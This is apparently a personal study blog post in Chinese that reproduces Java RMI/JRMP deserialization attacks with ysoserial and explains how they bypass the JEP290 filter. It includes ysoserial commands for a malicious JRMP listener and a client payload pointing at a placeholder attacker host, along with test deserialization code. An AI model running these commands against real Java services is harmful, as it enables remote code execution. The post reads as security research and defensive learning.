jrmp攻击思路分析

关于jrmp攻击思路的分析,主要分析了利用jrmp协议攻击注册端的思路,并分析对JEP290的绕过和防御。

前言

JRMP协议是java rmi机制的一种实现,在JRMP协议交互中涉及序列化和反序列化对象,因此在某些情况下可以用于反序列化漏洞的利用。主要的内容主要有两方面,第一块是建立JRMP客户端去和恶意的JRMP服务端通信,另外一块是建立JRMP服务端去和恶意的JRMP客户端通信。JEP290主要用于针对java反序列化漏洞的防御,主要通过对反序列化流程中限制反序列化的目标类,反序列化的深度以及rmi调用时远程对象的类型等方面对反序列化漏洞进行防御。然而JRMP攻击方式可以通过伪造UnicastRef对象来建立和恶意JRMP服务端的连接,利用DGC的反序列化机制来绕过JEP290,jdk高本版因此也对DGC机制做了一些限制。

实验环境

Jdk8u211,ysoserial,common collection 3.2依赖

实验流程

恶意JRMP服务端攻击JRMP客户端

使用的payload主要是ysoserial的payload/JRMPClient,攻击的原理主要如下:

  1. 反序列化JRMPClient发起对JRMP服务端的Call连接。
  2. JRMP服务端返回恶意远程对象。
  3. DGC发起dirtyCall,直接反序列化恶意对象。

启动恶意监听

1
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener port CommonsCollections10 "open -a Calculator"

生成client的序列化数据

1
java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "yourvps:port" >> test2.ser

测试代码

1
2
3
4
5
6
7
8
try{
InputStream ins=new FileInputStream(new File("/Users/wanghuidi/Desktop/security_learning/tools/ysoserial/test2.ser"));
ObjectInputStream obj=new ObjectInputStream(ins);
Object o=obj.readObject();
System.out.println(o);
}catch (Exception ex){

}

exec下断点,代码直接跑

image-20210406154444504

在反序列化LiveRef的时候,会尝试注册远程ref

image-20210406154848595

在这个过程中将发起一个dirtyCall的请求,请求租用(Lease)的远程对象的引用,这个过程最终会反序列化被伪造的UnicastRef对象,而其中包含着构造的恶意对象。这个伪造过程主要通过动态代理来实现,借助的handler是RemoteObjectInvocationHandler

尽管存在JEP290,但是JEP290默认没有对JRMP客户端的反序列化做限制,所以可以打得通。

恶意JRMP客户端攻击JRMP服务端

使用的payload主要是ysoserial的payload/JRMPListener,其实主要的攻击原理和上面的类似,就是起个恶意JRMP服务给JRMP客户端来打,这里反序列化得到的是JRMP服务端。

不过因为JEP290所以这个payload是没法打的。因为JEP290对Register层做了过滤。

如图设置了serialFilter,这里为了实验需要,将serialFilter置空。

image-20210406212700650

然后跟一下链。

image-20210406213004184

这里JRMP服务端中的DGC模块直接接收客户端打过来的序列化数据,因为第一个数据就有readObject方法调用所以不需要封装发过去的数据,直接将payload序列化数据写入Message中即可。

image-20210406213428007

JEP290

主要针对4个点

  1. 黑白名单结合对反序列化的类进行检测,需要注意的是因为UnicastRef类在白名单内,JRMP客户端的payload可以用来连恶意的服务端。
  2. 检测反序列化链的深度
  3. 在rmi过程中提供了调用对象提供了一个验证类的机制
  4. 过滤内容可被配置

Bypass JEP290

  1. jrmp服务端打jrmp客户端
  2. An Trinh的RMI注册端的Bypass方法

总结

这周简单地复现了利用JRMP的两种攻击方式,了解了JEP290的原理,下周计划系统的写一写rmi的内容。